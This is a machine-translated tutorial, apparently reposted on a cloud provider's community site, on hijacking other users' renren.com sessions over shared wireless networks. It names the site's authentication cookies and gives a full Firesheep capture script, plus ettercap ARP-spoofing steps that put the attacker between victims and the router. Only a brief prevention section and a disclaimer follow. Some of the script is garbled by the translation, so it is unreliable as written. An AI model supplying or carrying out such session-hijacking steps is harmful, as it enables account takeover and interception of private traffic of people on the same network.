Use Firesheep to hijack renren.com

Source: Internet
Author: User
Tags firesheep

I. first introduce the hijacking principle:

Web verification is usually divided into the following steps, as is the case in school:

1. log on to renren.com, enter your username and password, and click log on.

2. The server verifies the ID and password you submitted, and then returns some unique cookies to your browser.

3. When you view others' pages, the browser will first send a cookie to indicate your identity to the server.

4. The server completes cookie verification to complete the expected action.

The steps are perfect, but there is an underlying problem, that is, whether the communication between the user and the server is encrypted. If not, the third party can easily intercept user data packets, disguise as a real user communicating with the server.

In the Internet, security is a piece of shit.

1. the most basic requirement is that the website should switch to HTTPs for user login pages. At this time, the user name and password you submit will be encrypted and transmitted to the server, even if someone intercepts your data packet, they will not be able to see your username and password. but Renren does not. The user name and password you entered are sent to the server in plain text. If you don't believe it, you can find a packet capture software.

2. encryption is not only required for user login, but also for sending cookies. before Firesheep was released, even Google and facebook did not. let alone Renren .... in this way, by intercepting others' cookies, you can directly log on to others' schools. this is the process described in this article.

There is a natural question: how can someone else get my data packets when I access the Internet? If you use a wired network, it is certainly not a problem. However, in many cases, you use a wireless router to access the Internet. During the work process, the wireless router will distribute the data packets to the entire space, any network adapter can obtain the data. this leaves some people with a chance. under normal circumstances, the network adapter will lose data packets that do not belong to itself. however, special software can be used to save the data packets that should be sent to others, and relevant private data can be analyzed. A common tool is pCap, which is called WinpCap in windows.

In this way, the principle is clear: first, the pCap tool is used to intercept others' packets, and then the cookie of others' networks is analyzed. Then, the system directly logs on to others' networks. the user name and password do not need to be known throughout the process.

II. Environment Description:

Ubuntu10.10 Firefox3.6 Chrome10 Firesheep ettercap

Explanation: Because Windows encapsulates NICs, packet capture is not as powerful as Linux and Mac. I first failed to experiment on Windows 7.

Firesheep is a plug-in of Firefox. You need to install Firefox.

Chrome is used to analyze website cookie information.

Firesheep is the main force. for installation in Ubuntu10.10, see

Ettercap: the software used to capture packets. The installation method is also in the above link.

3. steps:

1. Analyze the cookie of renren.com

Open Chrome and install the plug-in named Edit This Cookie. then log on to your Renren account and click the Edit This Cookie icon to view the cookie content that renren.com returns to you. delete these cookies one by one and record them. Refresh the page every time you delete them until you are prompted to log on again after a refresh. this indicates that the cookies used for identity authentication have been deleted and re-tested in the deleted cookies until you determine which one is used for identity authentication. note that there may be more than one identity verification, which requires more complex pairing tests.

In the end, we found that renren.com has two cookies for identity authentication, namely p and t.

Chrome can be disabled.

2. Configure Firesheep Script

Open Firefox, open the Firesheep configuration page, find the website tab, and click add to add a new project named renren. Double-click it to display a js editing page.

Replace the content with the following script:

  1. Register ({
  2. // FOR http://www.renren.com/
  3. Name:'Renren. com',// The name that will show up in the Firesheep sidebar
  4. Url:'Http: // www.renren.com /', // The website url that Firesheep will match on
  5. Domains :['Renren. com'],// The actual domain that Firesheep will look for in the request
  6. SessionCookieNames :['P','T'],// A list of cookie key names that firesheep will intercept and send on
  7. // Your behalf (this shocould be the list of cookies you noted in the previous step)
  8. IdentifyUser:Function(){// Firesheep can make a request to discover some information about the cookie (username and avatar) for the buddy list
  9. VarSite =This. HttpGet (This. SiteUrl );// This will pull down a page that contains the value for the username and avatar
  10. This. UserName = site. body. querySelector ('A. name'). InnerHTML;// Use a query selector to pull out the username from the page (optional)
  11. // This. userAvatar = resp. body. querySelector ('div. figure '). src; // another query selector to grab the image (optional)
  12. }
  13. });

IdentifyUser: function () is used to configure cookies, set URLs, and so on. These operations are essential.

The values of this. UserName and this. userAvastar in the identifyUser: function () are used to set the account name and Avatar corresponding to the cookie to be captured. Directly commenting out the account name and profile does not affect the work.

Close after replacement.

3. Set ettercap

Open a terminal and enter

  1. Sudo ettercap-G

Run the following menu commands in sequence:

Sniffing>Uniied sniffing

Hosts> scan hosts

At this time, the software will search for hosts under the same network segment, and continue to execute after the search is complete:

Hosts> host list

In the list, set the router address to target 1, the router address is usually 192.168.1.1, and target 2 does not need to be set (according to my experiment, it doesn't matter if neither target 1 nor 2 is set)

Check MITM> arp XXXXXX> remote connection

Start> start

At this point, the network card starts to capture packets.

4. Use firesheep

Open firefox (if you have just disabled it), click ctrl + shift + s to open the firesheep sidebar, click the start button, and then wait. if firesheep detects that someone has logged on to renren.com, it will be automatically displayed on the sidebar. You only need to double-click the corresponding icon to directly log on to the renren.com.

5. How to prevent others from logging on to your account?

Do not log on to your on-campus or other accounts in the hot spots provided by Starbucks, because the hot spots in these places are not encrypted, and anyone with a bad track can easily intercept others' data packets.

Public Wireless routing in the dormitory should also be careful when accessing the Internet. It is okay to use wired routing.

If you connect to a wireless network and then use VPN or other methods to access the Internet, you don't have to worry, because the VPN itself is encrypted.

======================================

This article is only for technical exchanges. Do not use the Internet to engage in illegal activities. We also hope that Internet companies can improve these vulnerabilities as soon as possible to create a secure and carefree network environment for Internet users.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.